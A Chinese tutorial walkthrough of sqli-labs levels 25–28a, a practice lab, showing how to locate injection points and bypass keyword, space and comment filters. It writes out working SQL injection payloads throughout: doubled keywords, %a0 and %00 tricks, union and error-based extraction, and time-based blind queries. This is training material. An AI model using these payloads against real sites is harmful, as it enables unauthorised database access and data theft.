当前位置: 首页 > news >正文

sqli-labs靶场详解(less25/25a-less28/28a)

在SQL注入过程中难点就是判断注入点 只要注入点确定了  获取数据库数据的过程就是复制

从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了)


目录

less-25

less-25a

less-26

less-26a

less-27

less-27a

less-28

less-28a


less-25

首先正常页面 说是or和and属于他们 过滤一个id参数的值 搞不懂 先正常来

判断注入点

?id=1 正常   

?id=1' 错误:to use near ''1''

?id=1\ 错误:to use near ''1\'

正常来说是缺少单引号

?id=1'# 

提示Your Input is Filtered with following result: 1'

?id=1'--+  成功

?id=1' and '1'='1 无返回结果

提示 Your Input is Filtered with following result: 1' '1'='1

原来如此  一开始就提示了 and和or 属于他们的 把and和 or过滤掉了 

现在报错会被输出出来 但是无法使用and构造语句了


但是注释符没被过滤 使用联合查询试一下

?id=0' union select 1,2,3 --+ 成功

?id=0' union select 1,database(),3 --+ 成功

?id=0' union select 1,extractvalue(1,concat('~',database())),3 --+ 使用联合查询的报错函数也成功了


先看看双写可不可以

?id=1' aandnd 1=1 --+  成功

?id=1' aandnd 1=2 --+  成功


试试and的符号&&可不可以

发现&&一致报错 提示也没获取到&&符号以及后面的内容

但是or|| 一真则真

?id=2' || 1=1 --+ 成功

?id=2' || 1=2 --+ 成功

那么尝试报错注入

?id=0' || extractvalue(1,concat('~',database())) --+ 成功


代码分析

就是过滤了and和or 无需逻辑分析


less-25a

和上关提示一样 也是过滤了or和and

判断注入点

?id=1' 报错不告诉具体原因了 不能使用报错函数了

试试符号形式的and和or

?id=1 || 1=1 成功

?id=1 || 1=2 成功

看来是整型注入点

和上关一样&&一直报错只能使用||


看看双写可不可以

?id=2 aandnd 1=1 成功

?id=2 aandnd 1=2 失败

双写也可以


使用联合查询

?id=0 UNION SELECT 1,2,3 成功

?id=0 UNION SELECT 1,2,database() 成功


使用 延时函数

?id=1 anandd if(1,sleep(2),2) 成功

代码分析

无逻辑分析 就是参数为整型 过滤and和or 无报错函数


less-26

说是空格和comments都被过滤

判断注入点

?id=1 and 1=1 

提示获取到了Your Input is Filtered with following result: 11=1

看来and和or还有空格都被过滤了 测试注释的时候发现注释也被过滤了

?id=1' 报错:to use near ''1'' 好消息这里能判断注这是字符型注入点

这么多东西都被过滤了 只能进行替换一个一个试了

看看双写

?id=1' anandd '1'='1  失败

但是提示显示获取到了and 证明双写可以  空格没有被获取到所以导致失败

找一个替换空格space的 

space在url中是%20 可以 使用%a0 || %0b绕过 

成功

因为是字符型注入

现在的操作是

?id=1'%a0anandd%a0'1'='1可以

但是注释符也被过滤了如果继续进行注入操作还是不行的

想办法把最后的单引号闭合

想到了两种方式

第一种方式就是再后面再加上一个and后者or 

?id=1'%a0anandd%a0 1=1%a0anandd'1'='1 成功

第二种方式就是

%00会截断整个url 

?id=1'%a0anandd%a0 1=1 ;%00 成功

解释一下正常我们输入的数据到url中都会进行编码 

space的空格方式会被编码成%20 

%20代表空格 %a0 也代表空格  在服务器只会过滤space方式的空格

%00属于空符截断。在某些编程语言和数据库实现中,它表示字符串的终止符

也就是说我们传入%00 服务器会把这个%00带入到数据库中 在数据库中的sql语句如果遇到了%00后面的语句就不执行了 也就相当于注释的意思 但是比注释更狠 因为注释不会注释服务器后端sql语句最后的分号 但是%00会把分号注释掉 所以要加上一个分号

在这里还要提一句

这关可以使用报错注入和联合注入 使用报错注入的时候 不用管空格因为有没有空格这个语句都会报错  在报错函数中可能会使用from之类的中间会有空格可以用括号括起来 像第二个例句一样

报错注入实例

?id=-1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

?id=1'||extractvalue(1,concat('~',(select(group_concat(schema_name))from(information_schema.schemata))))||'1'='1

联合注入实例

?id=1'%a0union%a0select%a01,2,3;%00


代码分析

无需分析 就是加上了过滤条件 没有逻辑上的问题


less-26a

提示和上一关一样没什么区别

注入测试

?id=1'  报错 没给具体报错信息 不能使用报错函数

?id=1\  反斜杠被过滤

?id=1 and 1=1 and和空格照样被过滤

?id=1%a0anandd%a01=1;%00 输出id=1的值

?id=1%a0anandd%a01=2;%00 输出id=1的值

;%00不报错可以证明该语句后面没有特殊字符

那为什么1=1和1=2输出结果一样呢

看源码

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

$sql="SELECT * FROM users WHERE id=('1 and 1=2;

不应该呀 应该也报错呀 

?id=1')%a0anandd%a01=1;%00

?id=1')%a0anandd%a01=2;%00

这两个语句成功执行了能使用盲注和联合查询 但是我还不明白为什么上面的能输出id=1的结果应该是报错呀

注意

1按理说空字符截断应该数据库报错 竟然没报错并且查询到了结果 有时候只能多尝试 把学过的都试一遍 

2为什么字符串里面只要是第一个是1 2都能查询出结果 是因为 设置id为整型 强制转换后只保留第一位 后面输入啥都无所谓

代码分析

无逻辑分析内容 知识添加了过滤条件


less-27

正常界面 过滤了union和select

尝试

?id=1 and 1=1# 提示Your Input is Filtered with following result: 1and1=1

发现注释符和空格也被过滤 但是and没被过滤

?id=1'to use near ''1''   有报错信息 估计是单引号没被闭合

?id=1'%a0and%a0'1'='1';%00成功执行        

?id=1'%a0and%a0'1'='2';%00失败执行

确定为字符型注入点 

看看双写 union 和select可不可以 

发现union只过滤了一次 但是select过滤了两次

?id=0'%a0uunionnion%a0seseselectlectlect%a01,2,3;%00

试试大小写混合可不可以

?id=0'%a0UNIon%a0sELect%a01,2,3;%00 大小写也可以

这样就可以使用联合查询注入和报错注入

代码分析

增加了sleect和union的过滤


less-27a

和上题的提示一样

进行尝试

?id=1 and 1=1# 依旧是去除了空格注释

?id=1'  不报错并查询出结果  估计也是字符型的但是没用单引号

?id=1\ 报错信息不全 不能使用报错注入

多次测试发现是双引号闭合的字符型注入

?id=1"%a0and%a01=1;%00  成功

?id=1"%a0and%a01=2;%00  失败

上两句确定了注入点

构造语句 发现union和上一题一样过滤一次 select过滤两次 大小写也能成功绕过

?id=0"%a0ununionion%a0sELECT%a01,2,3;%00 

试一试盲注(盲注是最慢的最不推荐)

?id=1"%a0and%a0if(1,sleep(2),2)%a0;%00 成功

代码分析

参数为双引号的字符型参数 不能使用报错函数


less-28

提示和27管一样过滤union和select

进行测试

?id=1 and 1=1# Your Input is Filtered with following result: 1and1=1

发现没有过滤and 和前几关一样过滤了注释和空格

?id=1' 报错:没有详细的报错信息 不能使用报错注入 

?id=1';%00 报错 可能是整型 可能对参数使用的形式不止单引号

?id=1 and 1=1;%00成功

?id=1 and 1=2;%00成功

以上两个语句得出不是整型 那就是不止只有单引号

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 失败

得出服务器参数的形式为('$id')

?id=0')%a0union%a0select%a01,2,3;%00  说是过滤union和select但是经过测试并没有被过滤

从而判断出这题能使用联合查询注入和盲注 不能使用报错注入 

无需代码分析就是过滤条件比较多


less-28a

提示信息依旧是过滤union和select

注入测试

?id=1' 报错:无详细报错信息 不能使用报错注入

?id=1';%00  得出可能是整型可能字符型不止单引号

轻轻松松试出来

?id=1')%a0and%a01=1;%00 成功

?id=1')%a0and%a01=2;%00 不成功

的到注入点 构造语句

轻松拿下

?id=0')%a0union%a0select%a01,2,3;%00

id=1')%a0and%a0if(1,sleep(2),1);%00

可以使用联合查询 盲注

代码分析

依旧不需要逻辑分析

相关文章:

sqli-labs靶场详解(less25/25a-less28/28a)

在SQL注入过程中难点就是判断注入点 只要注入点确定了 获取数据库数据的过程就是复制 从这关开始 只进行判断注入点了和代码逻辑分析了 因为注入操作太简单了(不演示了) 目录 less-25 less-25a less-26 less-26a less-27 less-27a less-28 less-…...

如何优化 Elasticsearch 查询性能

优化 Elasticsearch 查询性能需要从多个方面入手。通过合理的索引设计、优化查询语句、优化硬件资源和集群架构等方面的优化,可以显著提高 Elasticsearch 的查询性能。 1.索引设计优化 良好的索引设计是优化 Elasticsearch 查询性能的关键。可以通过以下几个方面来…...

成功的蓝图:实现长期成长与卓越表现的 6 项策略

能在收入和利润上持续领先同行的公司寥寥无几,不到四分之一。McKinsey的最新研究揭示了这些增长标杆公司与众不同的六大心态和策略。过度谨慎的公司,尤其在动荡时期,也许能捱过当下,但往往无法发掘全部潜力。考虑到近五年历经前所…...

【JavaEE初阶】认识线程、创建线程

1. 认识线程(Thread) 1.1 概念 1) 线程是什么 一个线程就是一个 "执行流". 每个线程之间都可以按照顺序执行自己的代码. 多个线程之间 "同时" 执行着多份代码. 举例: 还是回到我们之前的银⾏的例⼦中。之前我们主要描…...

uniapp中uni.navigateBack返回后刷新页面数据

文章目录 一、前言1.1、[uni.navigateBack](https://uniapp.dcloud.net.cn/api/router.html#navigateback) 二、方法2.1、父页面设置钩子函数onBackPress2.2、uni.$emit和uni.$on监听通知数据变更2.2.1、子页面2.2.2、父页面 2.3、onShow钩子函数处理数据2.3.1、子页面2.3.2、父…...

sed文本 免交互

目录 什么是sed 概念 格式 基本用法 命令的选项 打印第三行 打印日志文件 打印奇数行 打印偶数行 第三行退出 删除第三行 sed在不打开文件的情况下修改文件内容 在后面添加 选项a 在字符中间添加 \n 实现追加换行 全部追加 在前面插入 选项i 替换 选项c …...

轻巧高效的剃须好工具,DOCO黑刃电动剃须刀上手

剃须刀大家都用过,我比较喜欢电动剃须刀,尤其是多刀头的悬浮剃须刀,感觉用起来很方便,剃须效率也很高。最近我在用一款DOCO小蔻的黑刃电动剃须刀,这款剃须刀轻巧易用,而且性价比超高。 相比于同类产品&…...

第15关 K8s HPA:自动水平伸缩Pod,实现弹性扩展和资源优化

------> 课程视频同步分享在今日头条和B站 大家好,我是博哥爱运维,这节课带来k8s的HPA 自动水平伸缩pod( 视频后面有彩蛋 : ) )。 我们知道,初始Pod的数量是可以设置的,同时业务也分流量高峰和低峰&a…...

接口测试工具(Jmeter)必学技巧

安装 使用JMeter的前提需要安装JDK,需要JDK1.7以上版本 目前在用的是JMeter5.2版本,大家可自行下载解压使用 运行 进入解压路径如E: \apache-jmeter-5.2\bin,双击jmeter.bat启动运行 启动后默认为英文版本,可通过Options – Choos…...

C++面试,说明const和#define的特点和区别

#define只是用来做文本替换的,例如: #define PI 3.1415926 float angel; angel 30 * PI /180; 当程序进行编译的时候。编译器会首先将"#define PI 3.1415926"以后所有代码中的PI都替换成3.1415926,然后进行编译。它的生命周期止…...

aikit 2023 3D与机械臂结合!

引言 今天我们主要了解3D摄像头是如何跟机械臂应用相结合的。我们最近准备推出一款新的机械臂套装AI Kit 2023 3D,熟悉我们的老用户应该知道,我们之前的AI Kit 2023套装使用的是2D摄像头。 随着技术进步,市场需求和领域的扩大,2D的…...

模拟退火算法应用——求解TSP问题

仅作自己学习使用 一、问题 旅行商问题(TSP) 是要求从一个城市出发,依次访问研究区所有的城市,并且只访问一次不能走回头路,最后回到起点,求一个使得总的周游路径最短的城市访问顺序。 采用模拟退火算法求解TSP问题&#x…...

【LeetCode】每日一题 2023_11_28 设计前中后队列(数组/链表/双端队列)

文章目录 刷题前唠嗑题目:设计前中后队列题目描述代码与解题思路偷看大佬题解 结语 刷题前唠嗑 LeetCode?启动!!! 这道题的难度,才是我想象中的中等题的难度好吧,昨天那玩意对我来说还是太难了…...

python基于YOLOv8全系列模型【n/s/m/l/x】开发构建不同参数量级的钢铁产业产品智能自动化检测识别系统

在前文的项目开发实践中,我们已经以钢铁产业产品缺陷检测数据场景为基准,陆续开发构建了多款目标检测模型,感兴趣的话可以自行阅读即可。 《YOLOv3老矣尚能战否?基于YOLOv3开发构建建钢铁产业产品智能自动化检测识别系统&#xf…...

力扣142. 环形链表 II

文章目录 力扣142. 环形链表 II示例代码实现总结收获 力扣142. 环形链表 II 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达&#xff0c…...

【设计模式-2.2】创建型——简单工厂和工厂模式

说明:本文介绍设计模式中,创建型设计模式中的工厂模式; 飞机大战 创建型设计模式,关注于对象的创建,本文介绍的简单工厂和工厂模式同样也是。举一个游戏例子,如飞机大战游戏中,屏幕中敌人类型…...

将文件读入C中的字符数组

当您使用 C 编程语言时,您可能会遇到一些需要将文件读入字符数组的问题,例如分析每个字符的频率,或者将所有句子的每个起始词从小写转换为大写,反之亦然。该解决方案非常简单,但对于不太了解文件读取或写入的人来说可能…...

不小心删除了短信,如何在 Android 上恢复已删除的短信

不小心删除了文字消息在 Android 手机上使用可能会是一种令人痛苦的体验。这些消息可能包含有价值的信息、珍贵的回忆或重要的细节。幸运的是,您可以探索多种方法来恢复这些丢失的消息。在本文中,我们将深入研究可用于检索已删除短信的选项,并…...

Java电子招投标采购系统源码-适合于招标代理、政府采购、企业采购、等业务的企业

项目说明 随着公司的快速发展,企业人员和经营规模不断壮大,公司对内部招采管理的提升提出了更高的要求。在企业里建立一个公平、公开、公正的采购环境,最大限度控制采购成本至关重要。符合国家电子招投标法律法规及相关规范,以及审…...

springBoot的实现原理;SpringBoot是什么;使用SpringBoot的核心功能;springBoot核心注解以及核心配置文件

文章目录 springBootspringBoot的实现原理什么是 Spring Boot?SpringBoot是什么为什么要使用springBootSpring Boot的核心功能Spring Boot 主要有如下优点: SpringBoot启动过程-流程Spring Boot 的核心注解是哪个?什么是 JavaConfig&#xff…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道(多模态 OCR → 语义检索 → 答案渲染)、两级检索(倒排 BM25 向量 HNSW)并以大语言模型兜底”的整体框架: 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后,分别用…...

龙虎榜——20250610

上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...

C++实现分布式网络通信框架RPC(3)--rpc调用端

目录 一、前言 二、UserServiceRpc_Stub 三、 CallMethod方法的重写 头文件 实现 四、rpc调用端的调用 实现 五、 google::protobuf::RpcController *controller 头文件 实现 六、总结 一、前言 在前边的文章中,我们已经大致实现了rpc服务端的各项功能代…...

Cursor实现用excel数据填充word模版的方法

cursor主页:https://www.cursor.com/ 任务目标:把excel格式的数据里的单元格,按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例,…...

Python:操作 Excel 折叠

💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...

基于服务器使用 apt 安装、配置 Nginx

🧾 一、查看可安装的 Nginx 版本 首先,你可以运行以下命令查看可用版本: apt-cache madison nginx-core输出示例: nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...

unix/linux,sudo,其发展历程详细时间线、由来、历史背景

sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

AI,如何重构理解、匹配与决策?

AI 时代,我们如何理解消费? 作者|王彬 封面|Unplash 人们通过信息理解世界。 曾几何时,PC 与移动互联网重塑了人们的购物路径:信息变得唾手可得,商品决策变得高度依赖内容。 但 AI 时代的来…...

HDFS分布式存储 zookeeper

hadoop介绍 狭义上hadoop是指apache的一款开源软件 用java语言实现开源框架,允许使用简单的变成模型跨计算机对大型集群进行分布式处理(1.海量的数据存储 2.海量数据的计算)Hadoop核心组件 hdfs(分布式文件存储系统)&a…...

脑机新手指南(七):OpenBCI_GUI:从环境搭建到数据可视化(上)

一、OpenBCI_GUI 项目概述 (一)项目背景与目标 OpenBCI 是一个开源的脑电信号采集硬件平台,其配套的 OpenBCI_GUI 则是专为该硬件设计的图形化界面工具。对于研究人员、开发者和学生而言,首次接触 OpenBCI 设备时,往…...